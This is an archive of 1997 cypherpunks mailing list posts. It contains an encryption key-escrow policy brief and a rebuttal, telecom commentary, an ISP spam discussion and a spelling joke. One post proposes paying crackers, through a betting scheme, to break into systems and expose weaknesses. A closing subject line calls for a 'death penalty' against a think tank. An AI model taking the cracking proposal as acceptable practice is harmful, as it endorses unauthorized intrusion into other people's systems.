An agreement has been reached to adopt English as the preferred
language for European communications, rather than German, which was the
other possibility.  As part of the negotiations, Her Majesty's Government
conceded that English spelling has some room for improvement and has 
accepted a five-year phased plan for what will be known as EuroEnglish
(Euro for short).

In the first year, "s" will be used instead of "c".  Sertainly sivil
servants will resieve this news with joy.  Also, the hard "c" will be
replaced with "k".  Not only will this klear up konfusion, but komputers 
and typewriters kan have one less letter.

There will be growing publik enthusiasm in the sekond year, when the
troublesome "ph" will be replaced by "f".  This will make words like
"fotograf" 20 per sent shorter.

In the third year, publik akseptanse of the new spelling kan be 
expekted to reach the stage where more komplikated changes are
possible.  Governments will enkorage the removal of double letters, 
which have always ben a deterent to akurate speling.  Also, al wil agre 
that the horible mes of silent "e"s in the languag is disgracful, and 
they would go.

By the fourth year, peopl wil be reseptiv to steps such as replasing 
"th" with "z" and "w" with "v".

During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
"ou", and similar changes vud of kors be aplid to ozer kombinations of 
leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
vil be no mor trubls or difikultis and evrivun vil find it ezi to 
understand ech ozer.

ZE DREM VIL FINALI KUM TRU.

---------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 07:21:54 +0800
To: cypherpunks@toad.com
Subject: Center for Security Policy calls for domestic key escrow (fwd)
Message-ID: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Center for Security Policy calls for domestic key escrow

In the boxing ring of Washington, the Center for
Security Policy packs a hefty punch. Its faxed alerts
appear once or twice a week on the desks of thousands of
key decisionmakers. They're predictably hawkish, with
titles like "The Nation Needs MORE B-2s."

A recent one focused on encryption. The message: The
Clinton administration isn't doing *enough* to control
crypto, especially domestically:

	But a national information infrastructure also needs
	selective transparency on call to support users'
	needs to get at their encrypted data... U.S. law
	enforcement agencies in carrying out criminal
	investigations also need to be able to access voice
	communications, data records and data transmissions
	consistent with constitutional protections. The loss
	of this investigative technique, which is subject
	to strict judicial scrutiny -- would be disastrous
	for law enforcement.

	Regrettably, the Clinton Administration has been
	unwilling to stand up and say, here is what needs
	to be done -- perhaps out of a fear of alienating
	a key constituency, the computer industry.

Read on for the full text of the alert and a
well-reasoned response by ATR's Jim Lucier.

-Declan

Additional articles on crypto:

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

**************

No. 97-D 88

DECISION BRIEF
25 June 1997
For Immediate Release
(202) 466-0515

Breaking the Code on the Encryption Debate: National
Security Interests Are Being Jeopardized

(Washington, D.C.): With relatively little fanfare, a
truly momentous public policy debate is taking place
in Washington. Unfortunately, all other things being
equal, it seems likely that the outcome of this debate
concerning the domestic use, foreign export and
international regulation of encryption techniques will
do grievous harm to the national security interests of
the United States.

'You Can't Tell the Players...'

Such an extraordinary, and ominous, result is in
prospect due to several factors:

By its very nature, encryption -- a generic name for
numerous means of encoding computer, voice or other
transmissions of data so as to conceal the contents
from unauthorized access -- is one of the most complex
and obscure of sciences. Given its direct relevance
for the protection of classified U.S. government
information and for the penetration of foreign
governments and other entities' secure communications,
the U.S. National Security Agency (NSA) has jealously
tried to shield from public view as much as possible
about the technology and techniques involved in
encryption and code-breaking.

The necessary secretiveness associated with what NSA
does and how the spread of encryption systems might
affect the American ability to perform signals
intelligence (SIGINT) by intercepting and monitoring
foreign communications enormously complicates this
debate.

Robust encryption at home contributes to national
security as well as protecting American industry,
critical information networks and citizens' privacy.
But a national information infrastructure also needs
selective transparency on call to support users' needs
to get at their encrypted data.

U.S. law enforcement agencies in carrying out criminal
investigations also need to be able to access voice
communications, data records and data transmissions
consistent with constitutional protections. The loss
of this investigative technique, which is subject to
strict judicial scrutiny -- would be disastrous for
law enforcement.

Widespread use of unbreakable encryption is exactly
what terrorists, drug lords, pedophiles and their ilk
want to see. But law enforcement needs a controlled
window into this encryption as part of its
responsibility to detect, prevent or prosecute
criminal behavior. Experience with court-ordered
wiretaps suggests that, by requiring judicial approval
of such electronic monitoring, this function critical
to the rule of law and a civil society can be
performed without risk of serious abuse.

Due to advances in information techniques, the
know-how and means for providing sophisticated
encryption capabilities has proliferated dramatically
in recent years. With the burgeoning use of the
Internet and other electronic devices for conducting
business, the demand for means to keep voice
communications, data records and data transfers
private has also grown tremendously.

U.S. manufacturers of computer software and hardware
-- many of whom have been key supporters of and enjoy
great influence with President Clinton and his
Administration -- are demanding an opportunity to meet
this demand with encryption products that will be
exceedingly robust, if not impenetrable. They
typically point not only to the trade benefits such
sales would represent but to the prospect that foreign
manufacturers of encryption technologies will gladly
supply products not available from American sources.
Similar arguments have proven effective in obtaining
Administration support for the wholesale elimination
of export controls on powerful computers -- even
supercomputers.

President Clinton has already issued an Executive
Order substantially liberalizing the export of
powerful encryption capabilities. Under its terms,
encryption programs involving up to 40-bit keys (in
layman's terms, the number of variables used in
combination to conceal a given piece of encrypted
message traffic, one of several factors determining
the robustness of an encryption program) can be
exported without a license. The Executive Order also
permits programs of any strength to be exported
provided they have a "key recovery" capability (i.e.,
a code-breaking spare key has been created) -- even if
that key resides with the purchaser of such
encryption.

Civil libertarians -- including some conservatives
with well-deserved reputations for concern about U.S.
national security -- have taken the position that
techniques which impede or preclude government
monitoring of electronic transmissions are highly
desirable. Their enthusiasm for the most widespread
proliferation of encryption techniques, both
domestically and internationally, provides tremendous
political cover for others with more suspect
motivations.

Counter-culture opponents of U.S. government power,
including some holding high office in the Clinton
Administration, appear untroubled by the diminution of
American capabilities to perform signals intelligence
-- historically an area of decisive and strategically
vital advantage for the United States.(1) Evidently,
they are no more concerned by the other side of this
coin: Thanks to the Clinton-approved transfer of
American supercomputers and other powerful data
processing systems, foreign governments are likely to
have much enhanced capabilities to perform their own
code-breaking operations, further reducing U.S.
dominance in the field.

The Legislative Context

Against this backdrop, several bills have been
introduced reflecting two basic approaches. The first
sponsored by Senators Conrad Burns (R-MT) and Patrick
Leahy (D-VT) in the Senate and by Rep. Robert
Goodlatte (R-VA) in the House would essentially
eliminate controls on the export of encryption. This
legislation is favored by the computer software and
hardware industries and a number of civil
libertarians. Senate Majority Leader Trent Lott has
thrown his support behind the Burns-Leahy bill.

A bill recently introduced by Senator John McCain,
chairman of the Senate Commerce Committee, presents an
alternative approach. It attempts to "split the
difference," addressing domestic law enforcement
concerns by way of creating incentives for U.S.
manufacturers to participate in a key management
infrastructure (i.e., establishing means whereby
federal agencies, with appropriate court orders, can
obtain the ability to read encrypted communications).
While the incentives to do so are significant, the
companies would be under no requirement to take part
in this arrangement.

As a sop to the encryption industry, however, the
McCain legislation would make several concessions that
could be injurious to the national security. First, it
would raise the threshold for unlicenced exports from
40 bits to 56 bits. This represents a dramatic
increase in the power of encryption programs that will
find their way into the hands of hostile powers,
international terrorists and other foreign criminal
elements -- and will add dramatically to the time and
computing power required by U.S. intelligence to
monitor their activities.

Second, the McCain legislation calls for the creation
of an industry-government advisory board tasked to
consider and jointly develop recommendations
concerning future standards for encryption exports.
Such an arrangement would put those responsive to
multinational stockholders on an essentially equal
footing with government agencies responsible for the
national security. In addition, the bill would mandate
foreign-availability assessments -- a pretext
frequently used by industry to argue for even the most
irresponsible transfers of U.S. technology.(2)

Parsing Out the Issues

There are, in fact, three separate issues involved in
the present encryption debate -- issues that have, to
some extent, been commingled by the Clinton
Administration, it appears in an effort to obscure
what is at stake for a vital national security
capability.

1. Domestic Policy

Encryption products are the future for the privacy and
security of communications and information. Americans
have a right to be secure in the knowledge that their
private communications and information remain private,
and that they can conduct electronic commercial
transactions reasonably safe from fraud or compromise.
Security embedded in consumer goods (as well as in
information systems) needs to become a common part of
how business works in this country. There is today no
restriction on the use of encryption within the United
States. Americans may import any encryption devices
and software into the U.S. There are, however,
restrictions on the export of U.S. encryption items.

Unfortunately, encryption in the hands of domestic
criminals can be a menace to American business and
society, enabling them to hide illicit records and
transactions. For law enforcement today, encrypted
communications mean no electronic surveillance.
Court-ordered wiretaps may be unenforceable. Because
of the importance of court-ordered electronic
surveillance to law enforcement, law enforcement
agencies across the country believe the impact of
widely proliferating encryption will be disastrous for
them, unless they have a means of lawfully and
promptly decrypting communications and information of
criminal suspects.

Accordingly, the United States requires common
standards for accessing encrypted data and
communications (known as "key recovery"). Importantly,
such standards are required not only by law
enforcement but in order to support commercial needs
(for example, companies need to be able to get at
their electronic records if the person who encrypted
them dies or turns into a vindictive disgruntled
employee). Consumers also have a vested interest in
ensuring that standards exist whereby they can be
assured that encryption will be reliable and easily
interoperable (e.g., to manage interfaces between
various network systems). A domestic public key
recovery infrastructure is the answer to these
requirements,

A public key recovery infrastructure is, however,
particularly essential for law enforcement.
Increasingly, criminals are utilizing techniques to
encode their phone calls, concealing their computer
transmissions and keeping their records locked up in
encrypted computer disks or drives, rather than in
file cabinets. Subject to the limits of U.S.
constitutional guarantees, law enforcement needs to be
able to continue to do its job in the information age.
Law enforcement does not need more intrusive
authorities or abilities than it has now; it needs
merely to be able to continue to be able to make use
of the same investigative techniques presently
available with respect to wiretaps.

Alternatively, if the government does nothing but
passively watch as encryption proliferates with no
standards to guide it, law enforcement will lose
critical investigative capabilities. In all
likelihood, it will be forced to turn to more
intrusive techniques (microphones in the room or car
rather than taps on telephones), measures that are
more invasive of privacy and which put more police
officers' lives at risk. Criminals (drug dealers,
kidnappers, thieves) will enjoy safe havens they do
not presently have, and more good citizens will find
themselves victims of unsolved crimes.

Regrettably, the Clinton Administration has been
unwilling to stand up and say, here is what needs to
be done -- perhaps out of a fear of alienating a key
constituency, the computer industry. The
Administration clearly appreciates the need to support
law enforcement (law and order is, after all, good
politics). But when asked, its spokesmen say they are
afraid their endorsement of a domestic policy would
prejudice its chances of enactment, citing their
experience with the public relations disaster of an
earlier encryption management initiative known as the
"Clipper Chip." The truth is that there is no one
better positioned than President Clinton to provide
leadership, given his well known ties to the hardware
and software industries.

2. Export Controls

In some respects, the Clinton Administration's policy
has been worse than doing nothing: It has tied the
domestic encryption issue to liberalizing export
controls on encryption techniques, ostensibly in the
hopes of buying the support of the producers of
encryption products for greater cooperation with
regard to domestic key management arrangements. This
is most regrettable since export controls are the
single most important tool the United States has for
protecting sensitive national security interests in
this arena.

The unavoidable reality is that U.S. national security
is heavily dependent on being able to collect
intelligence by listening in on what its adversaries
-- actual and potential -- are up to. This
intelligence saves lives, wins wars, and preserves the
peace. And in an era of information warfare, having
superior information systems may be determinative of
military power.

This reality was reflected until last year by treating
encryption technologies as part of the State
Department's Munitions Control List. President
Clinton's Executive Order, however, moved export
controls on such technology over to the much less
rigorous Commerce Department. It also further
adulterated the export controls regime by directing
that: 40-bit encryption programs may be exported
without a license; 56-bit encryption programs may be
exported without a license provided the exporter is
working on a public key recovery technology base; and
any product that is part of a public key recovery
system may be exported without a license.

American products should enjoy the lion's share of the
market (U.S. software has 75% of the global market
today), but U.S. exporters of highly capable "crypto"
-- 40-bit and above -- should be required to get a
license to minimize the likelihood that their products
will fall into the wrong hands. Any further weakening
of export controls would have a deeply debilitating
impact on national security. With all of the focus on
domestic encryption regime, and with no advocacy from
the Executive Branch, national security interests are
not being represented -- and are losing out.

3. International Dimension

To make matters worse, the Clinton Administration --
under the "leadership" of a controversial former
Carter Administration official, David Aaron, who has
been designated as its "Ambassador for Encryption" --
has come up with a curious and dangerous gimmick: It
proposes to "multilateralize" yet another area of
sovereign U.S. policy concern(3) by getting OECD
nations to take the lead in an area it is reluctant to
champion domestically, namely in implementing national
key recovery regimes.

As in other issues -- ranging from environmental
regulation to family planning -- the Administration
appears to hope that the creation of common
international practice and standards will provide a
basis for imposing arrangements domestically that
would otherwise be highly controversial, and perhaps
politically costly. Not surprisingly, the
Administration has come under some criticism from
allies for the hypocrisy of trying to make them go
first with respect to developing key recovery
infrastructures even as it declines to step up to the
issue at home.

But this is worse than simple hypocrisy. It is flatly
inconsistent with American values for U.S. officials
to argue that foreign governments -- many of which do
not recognize the basic individual rights of their
citizens -- should have unfettered access to their
private communications. Few of these governments
actually observe the strict limitations on electronic
surveillance which pertain in the United States. It is
one thing for the U.S. to have a domestic key recovery
regime which is subject to the rigorous and proper
constraints of its Constitution and system of justice.
It is quite another to say that, as a foreign policy
objective of this country, Washington wants to
guarantee the ability of foreign governments to spy on
their own citizens, or (worse) on Americans who may
communicate with those foreign citizens or travel
within those countries.


The Bottom Line

The Clinton Administration appears once again to have
gotten the answers exactly wrong. Their efforts have
confused the debate and helped to divide the ranks of
those who generally are concerned with national
security -- even as they are jeopardizing vital
national security interests, evidently out of a desire
to avoid antagonizing major political donors.

Domestic policy, export controls, and international
accords concerning encryption are different concerns,
each in need of understanding and debate on the
merits. And the vital American national security
requirement for electronic intelligence abroad must be
supported. On an even more fundamental level, those
who traditionally are sensitive to national security
concerns must not allow differing perceptions of
domestic law enforcement to translate into legislation
that may not only endanger the defense of the United
States but undermine its rule of law domestically. A
lawless society is no defender of American liberties.

The undeniable fact is that U.S. national security is
dependent upon our ability to collect intelligence in
peacetime on foreign threats, from terrorist groups to
the proliferation of "weapons of mass destruction" to
the status of thousands of nuclear-tipped missiles in
potentially unfriendly hands. Likewise, success in
foreign matters (from trade to diplomacy to support
for friends and allies) requires intelligence to
identify opportunities for the U.S. officials to act
in defense of our values and interests around the
world.

The U.S. ability to gather SIGINT therefore is not
something about which responsible Americans can afford
to be ambivalent. This is a vital national security
priority. And it is, to be sure, one that must take
precedence over the commercial advantages of selling
U.S. software abroad.

1. During both World War II and the half century of
the Cold War, SIGINT was far and away the most
important type of intelligence the U.S. gathered.
Without the ability to collect and read enemy codes
and ciphers, the U.S. might well have lost the Second
World War. Without SIGINT, the Cold War might have
ended far differently and might well have turned into
a hot war at critical junctures; certainly, the U.S.
would have been almost blind to many of the Soviet
Union's malevolent activities.

2. It is unclear on what basis other industries
selling sensitive products -- for example, the
supercomputer, chemical and biotechnology, machine
tool, chip manufacturers, etc. -- would be denied
similar vehicles for demanding the elimination of any
remaining export controls on the transfer of their
respective products. What is more, it not self-evident
that the national security will be well served by
advertising which foreign encryption products are of
concern to the U.S. government, let alone encouraging
American manufacturers to supply superior -- i.e.,
less breakable encoding techniques -- in place of such
products.

3. See in this connection, the Center's Decision Brief
entitled Truth or Consequences #9: C.W.C. Proponents
Dissemble About Treaty Arrangements Likely to Disserve
U.S. Interests (No. 97-D 46, 27 March 1997).

***************

Americans for Tax Reform

Memo To: Frank
From:    Jim Lucier
CC:	     Friends
Date:	 June 26, 1997

Re:	Encryption and National Security

Dear Frank:

I think we both agree that total U.S. dominance of all
technologies across the board is a vital guarantor of
national security.  We disagree on factual premises.

The powerful encryption methods under discussion are
universally published mathematical techniques taught
in universities everywhere to people like my brother
who studied them at the undergraduate level. I
particularly recommend the fine textbook by Bruce
Schneier, Applied Cryptography.

It is a mistake to assume this information, once
disseminated, can be controlled.  It is also incorrect
to assume there is only one type of encryption which
the U.S. could somehow keep secret.  In fact, there
are an infinite variety of techniques, some more
elegant than others and all with their quirks, but
many offering effective security.  Indeed, almost any
routine that manipulates data --including file
compression algorithms -- can be considered a type of
encryption.

The case of encryption is dramatically unlike that of
supercomputers, where one or two manufacturers in the
U.S. may be uniquely capable of producing cutting edge
equipment.

Bad actors will not voluntarily participate in a key
management system they can easily opt out of. The
impact on crime will be zero. Only law-abiding people
will be trapped in a system that opens them to maximal
violations of privacy by governments and technically
sophisticated rogue agents.

This is not a case of greedy software companies that
want to "sell encryption" overseas. In fact,
encryption software is a low-margin commodity product
that only a few specialists sell profitably.  U.S.
companies want to sell high-margin products like Lotus
Notes, cc:Mail, Domino, secure servers, and Oracle
databases, and sophisticated financial management
tools that operate in a networked environment. U.S.
companies dominate the market for these
enterprise-wide, mission-critical applications.  For
now.

The problem is that without encryption modules, the
American products are useless for conducting secure
business, and the power of networking, which gives
them their unique value-added quality, is eliminated.
U.S. regulations even prohibit American companies from
selling software with "hooks," where foreign-made
encryption products can be plugged in.  The result is
increasing inroads by foreign competitors.  The
German, Japanese, and Chinese governments are
pointedly encouraging their programmers to make hay
while they can. Dozens of companies around the world
explicitly advertise that they sell products not
subject to U.S. export restrictions.

There is also the chance that the United States will
lose the opportunity to set and dominate standards in
vital areas such as digital currency, which involve
encryption now subject to control.  Currently,
Europeans lead in this field.

The use of telephone wiretaps has exploded under the
Clinton Administration, and under legislation passed
last year the number of people impacted by telephone
wiretaps is slated to grow still further. For many,
this gives ample ground to doubt that wiretaps are
used sparingly, or that cases of abuse are minimal.

The real restraint on the use of telephone wiretaps is
that they are very expensive, and they require human
intervention.  Technology does not yet allow machines
to monitor calls.  On the Internet, by contrast,
"packet sniffing" is virtually cost-free, and the
packets of data are machine readable. Thus there is
nothing to prevent widespread abuse of privacy.  The
single-sentence Frist Amendment to McCain-Kerrey which
purports to solve this problem is totally meaningless.

The claims of law enforcement are wildly exaggerated
and not offered in the context of any statistical
evidence to make serious risk assessment possible.
Strong encryption is dangerous?  Compared to what?  No
encryption? A government-sponsored system only
incompetent criminals will use?

For decades people have been predicting the death of
SIGINT.  It never happens. The reason is that as the
volume of communications goes up, the opportunities
for SIGINT also increase. In a networked environment,
virtually any interaction with legitimate businesses,
and even public infrastructure, can create a database
of transaction streams greatly useful to law
enforcement and intelligence agencies, who can examine
this data with powerful heuristic searching tools. The
information age will give, and is giving, law
enforcement officers and intelligence agencies
astonishing new powers. Law enforcement officials who
claim they will be powerless in the future are being
somewhat disingenuous. What really worries them is
missing the opportunity to gain powers they dont have
now, plus the stress of learning to operate in a
different environment.

The key management infrastructure (KMI) called for in
McCain-Kerrey is a fiction.  Detailed technical
standards for such an infrastructure do not exist and
may take several years to develop.  A recent technical
paper by leading private-sector cryptographers claims
that the requirements of building a KMI are beyond the
current expertise of the field.  A central problem is
that the Justice Department's insistence on real-time
access to data in transit is not consistent with
existing models of key recovery for stored data.

If KMI works, it offers no advantage and many grave
dangers.  If it doesn't work, it is a costly drain on
the economic sectors currently driving U.S. economic
growth. A global KMI in which the U.S. arbitrarily
limits its own information security and somehow
expects other countries to participate is an atrocious
idea.

Reasonable people can debate the issue of export
controls.  The weight of evidence suggests that
controls should be loosened, but there can be
legitimate argument  of how far and how quickly we
should go.  The McCain-Kerrey bill is by no means  a
"compromise" on export controls. It is legislation
totally different from the Burns, Goodlatte, and Leahy
proposals Congress has long been considering.  For the
first time, McCain-Kerrey would seek to impose
controls on U.S. domestic use of cryptography through
a combination of regulation, criminal penalties, civil
liability exposure, and taxpayer-financed industrial
policy.

It is highly significant that the Administration
forced this legislation through the Commerce Committee
without a single day's hearings. Senators were given
only three days to study the legislation and supplied
with misleading and incorrect information about who
supported it.  McCain-Kerrey probably could not have
withstood public scrutiny in the Commerce Committee.
As it is, the bill will very likely never move to the
Senate Floor, but the Administration now has
substantial leverage to pursue its regulatory agenda.

The relaxation of exportable key lengths from 40- to
56-bits is not a sop to industry but a pathetic
offering that raises the time-to-break for a foreign
intelligence agency stealing U.S. trade secrets from
..0002 seconds to 12 seconds.  McCain-Kerrey actually
represents a step backward from previous
Administration positions on the issue of export
controls and exemplifies the bad faith and
intransigence this Administration has consistently
shown.  Last year, for instance, the Administration
announced it was relaxing export controls from 40 to
56 bits and then reversed itself, saying the
relaxation, if offered, would only be temporary and
contingent on businesses developing plans to comply
with Administration key-recovery standards.  In short,
the Administration has been using export controls
solely as a club to get unprecedented domestic
regulation.

In economic terms, McCain-Kerrey represents a stunning
arrogation of power by Congress to itself for the
purposes of regulating digital commerce which, as the
digital age begins, is probably at least as
significant as the Communications Act of 1934.  This
makes the "three days-no hearings" approval process in
committee all the more astonishing.

A vigorous national security debate is welcome on this
issue.  The issue of encryption involves profoundly
difficult choices and any decisions we make must be
taken with grave deliberation and great care.  We can
postpone these choices but we cannot put them off
forever. Ultimately, these decisions turn on findings
of fact as to whether control of encryption is still
possible. The Administration has made no effort to
show its entire proposal is not based on wishful
thinking and a regulatory mindset.

The United States does have enormous investment in its
SIGINT capabilities, which are many and varied.  These
will also not disappear overnight. But tomorrow will
not be like today.  Peter Drucker has written movingly
of the stress undergone by companies who feel they owe
their existence to a particular product but who
discover that markets have changed and they must do
something different.  Companies that succeed are the
ones that can innovate.  A similar mindset is in order
for national security policy. The United States has
always competed by out-innovating our adversaries, and
on this basis we have always won.

The risk to be avoided all costs is a Maginot Line
mentality. French planners obsessed with fighting the
first World War lavished untold fortunes and
considerable engineering brilliance on a structure
that was not only useless in the following conflict
but locked France into a defensive posture that
guaranteed France would be defeated in days by the
Germanys mechanized army.

The fundamental national security interest of the
United States is best served by total dominance of
world markets in information technology as well as
information technology products and services,
financial services, telecommunications and a host of
other fields.  Our goal should be raw commercial power
in all these areas -- especially information products
and information flows -- backed by impressive military
and intelligence capabilities. However, we do not reach
this goal by saddling U.S. business with irrational
regulation and ill-conceived industrial policy.

When U.S. companies dominate the world markets for
advanced management software which foreign businesses
must use to remain competitive and telecommunications
services which have no equal on the planet, there is
tremendous scope for the NSA to work productively with
U.S. business. Indeed, the national security community
has long enjoyed such a relationship, and law
enforcement agencies are well-advised to develop one.
The essence of such a relationship, however, is that
it must be maintained quietly.  We do not need to
advertise worldwide exactly how the United States
plans to conduct its foreign intelligence or how law
enforcement agencies, in truly exceptional and
Constitutionally permissible cases, plan to conduct
domestic surveillance.

Meanwhile, we must remember that the United States has
the most to protect in terms of intellectual property,
proprietary knowledge, global business dealings, and
critical information infrastructures that keep all
aspects of our societyincluding the military and
strategic onesrunning smoothly.  We should be the
worlds masters of encryption, the tools to break it,
and the ways of getting around it. We should protect
our information security by having a diversified
environment that relies on no one government-mandated
information standard.

It should be a stated goal of U.S. policy in the
Information Age and the global economy to force
totalitarian societies and welfare states to play by
our rules or collapse. Our friends in Europe need a
wakeup call.  Our trusted allies in Asia need
reassurance the United States can still exert powerful
influence in their region.  Developing nations need
the model of U.S. economic growth. Russia must see
unthreatening but overwhelming U.S. power.  The
Chinese regime should experience outright
destabilization when its totalitarian system breaks
down under a coordinated U.S. information technology
assault through peaceful means such as Radio Free Asia
and Internet communication. These are worthy goals,
and they are eminently attainable, as long as
technology boondoggles dont sidetrack us along the
way.

In short, I salute you for making the best possible
case for caution at a time when caution is due.
However, it is also a time to examine a changing world
carefully and prepare for the future as best we can.
Let's set our sights on a new American Century.



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Thu, 17 Jul 1997 22:29:53 +0800
To: neumann@csl.sri.com
Subject: i miss carol anne cyphergrrl
Message-ID: <199707171415.QAA06056@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



or whatever her name was.


A dangerous radical named Steve allegedly typed:

> Seems to me that having only a few, heavily trafficed, NAPs is a
> topological weakness in the Net which needs to be delt with soon.



The problem is economic.  During info-peace-time non-
robust networks are cheaper.  Redundancy and other robustness 
techniques are an expense that doesn't pay back.

During info-peace-time.


Under duress-- be it accidents, load, or info-war-- such 
designs are inadequate.


What's the solution?  I dunno.


Here're some options:


A.  Make design which is robust under attack but still cheap 
for everyday use.  Not sure if it is feasible.


B.  Convince people to spend more on robustness of systems.  
But this is infeasible on a huge scale and in anarchic and 
uncoordinated social system e.g. Internet.


C.  Hire info-warriors to attack systems, hopefully doing as 
little permanent damage as possible but achieving enough 
penetration to convince even the most thick-headed manager that
his system is weak.


Hence I propose a fund, The Randall Schwartz Memorial Cracking
Reward Fund, which will regularly award dcash payments to the 
cracker who most illustriously exposed the weaknesses of 
system.  Scaring the pants off of the managers and leaders is 
a plus.  Enlightening the public about the dangers of a 
specific system or technique is a plus.  Scaring the public 
into thinking that all systems/networks/computers/software are
dangerous is arguably a plus or a minus.  :-)


Doing permanent damage or unnecessary disruption of service is
a big minus.  Usually a calling card saying "Soo Do Nym was 
here" is sufficient.


The pay-off could be instituted by way of an "Assassination 
Systemics" scheme (which is merely an application of Idea 
Futures, of course), in which the bettor who most accurately 
predicted the time and other details of the target system's 
penetration receives the bulk of the winnings.


I hereby bet 10 cyberbucks that no clever hacker will be able 
to redirect "www.internic.net" to point to AlterNIC.



Zooko Journeyman

"We are an internation of code and not of laws."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 07:37:48 +0800
To: cypherpunks@toad.com
Subject: PFF's Jeff Eisenach: "Time to Walk the Walk on Telecom Policy"
Message-ID: <Pine.GSO.3.95.970717162542.19394H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---------

July 2,1997

Time to Walk the Walk on Telecom Policy

by Jeffrey A. Eisenach
The Progress & Freedom Foundation

Thanks to Ira Magaziner -- of all people -- the
Clinton Administration has finally learned to talk the
free market talk that brings joy to denizens of the
Internet. Now, as always with this Administration, the
question is whether it will also walk the walk.

Magaziner deserves real credit for crafting the
Administration's new "Framework for Global Electronic
Commerce." In language that could have come from the
Cato Institute (or my own Progress & Freedom
Foundation), it credits the amazing growth of the
Internet to the relative absence of intrusive
government regulation. And it concludes that the
Internet should remain "a market-driven arena, not one
that operates as a regulated industry."

The paper -- and the process that created it -- has
already had a salutary impact on Administration
policy. The White House has now backed away from its
previous support of the Communications Decency Act in
favor of "industry self-regulation, adoption of
competing rating systems and development of
easy-to-use technical solutions." And last month,
Treasury Undersecretary Larry Summers, reportedly at
Magaziner's urging, had very positive things to say
about the "no new taxes on the Internet" legislation
sponsored by Congressman Chris Cox and Senator Ron
Wyden.

The Administration's conversion to a free market view
of the Internet is, however, far from complete -- even
rhetorically. Most importantly, the Framework's
treatment of telecommunications regulation amounts to
an endorsement of the Federal Communications current
policies -- policies that are, if anything, more
regulatory than before passage of the supposedly
deregulatory Telecommunications Act of 1996.

Following the path laid out by Vice President Gore and
outgoing FCC Chairman Reed Hundt, the Framework
ignores the fact that technological innovation is
rapidly ending the "natural monopoly" characteristics
of the market for local telephone (and Internet)
access. What government should be doing in this
context is allowing marketplace incentives to work,
thereby encouraging new technologies and new
competitors to turn the potential for local access
competition into a reality.

What it is doing, under the FCC and with the apparent
blessing of the Framework, is continuing a price
regulatory regime that destroys marketplace incentives
for the development of new technologies and
competitors. The Framework, which begins by stating
that "government attempts to regulate are likely to be
outmoded by the time they are finally enacted," ends
up endorsing the idea of "implementing, by an
independent regulator, pro-competitive and flexible
regulation that keeps pace with technological
development." Nice fantasy -- but in contrast to the
reality of the FCC's implementation of the
Telecommunications Act, it comes off as nothing but a
bad joke.

Telecommunications is not the only problem area with
respect to policy. Most notable among the others:
Encryption, where the Administration stubbornly
adheres to its unworkable, privacy-invading notion of
"key escrow" for encryption software -- i.e., giving
the police the key to your house in advance in case
they decide later they want to conduct a search.

Still, problems aside, what we have from the Clinton
Administration is a real and laudable move -- partly
rhetorical and partly real -- in the direction of less
regulation of the Internet. For the most part, the
Administration is now talking the deregulatory talk.
Will it also walk the walk?

Here are three giant steps that would go along way to
proving the Administration means what it says.

First, will the Administration appoint a new FCC
(there are four vacancies, including the chairmanship)
that understands the idea of dynamic competition to
erode natural monopolies? The FCC's current "managed
competition" approach is inconsistent with the broader
principles of the Framework and hugely destructive to
the innovation and entrepreneurship the paper
emphasizes so strongly. A new Commission would no
doubt want to re-think the Commission's recent rulings
with respect to Interconnection and Universal Service,
both of which represent massively regulatory
approaches to problems the free market can largely
solve.

Secondly, will it specifically endorse the Cox-Wyden
legislation prohibiting discriminatory taxation of the
Internet? Saying nice things about the bill is one
thing; endorsing it and working for passage is
something else.

Third, will the Administration support the new
legislative agenda being developed and soon to be
introduced by Senator Conrad Burns and Congressman
Billy Tauzin (chairs of the Senate and House
telecommunications subcommittees)? Among other things,
this legislation is expected to declare "enhanced
services" (including broadband Internet access
services) an essentially regulation-free zone --
exactly the sort of thing the Framework says the
Administration should support.

Free marketers want to believe the Administration has
seen the light on regulating the Internet. Our message
now is simple: Take three giant steps -- and throw
away on the key on key escrow -- and show us you
really mean it.

###










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael C Taylor <mctaylor@mta.ca>
Date: Fri, 18 Jul 1997 04:13:30 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: A.Jensen doesn't like Sympatico.ca
In-Reply-To: <7HuZ0D1w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.96.970717164301.8372E-100000@fractal.mta.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> They hate Toto's ISP:

Funny thing is that Sympatico.ca is NOT some fly-by-night ISP, but one of
the larger ISPs and has the deepest pockets. Sympatico is run by
the Stentor group, which is the Alliance of the provincal 'Bell' companies
in Canada. 

Each province buys the basic 'francise' from MediaLink (??) in Upper
Canada, and resells it and packages it how they want. 

I use Sympatico in New Brunswick (nb.sympatico.ca) which is a repackaging
of their NBNet service, but the admin is not the same as SaskTel
(sk.sympatico.ca) or Bell Canada (Ontario symaptico.ca). 

The problem is with is spam is not they do more of it, they are most
likely underqualified to fix the problem of non-Sympatico users using the
various Sympatico SMTP servers are a relay.

--
Michael C. Taylor <mctaylor@mta.ca> <http://www.mta.ca/~mctaylor/>
"Nothing in this message should be assumed true."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 18 Jul 1997 08:12:15 +0800
To: cypherpunks@Algebra.COM
Subject: Center for Security Policy deserves death penalty
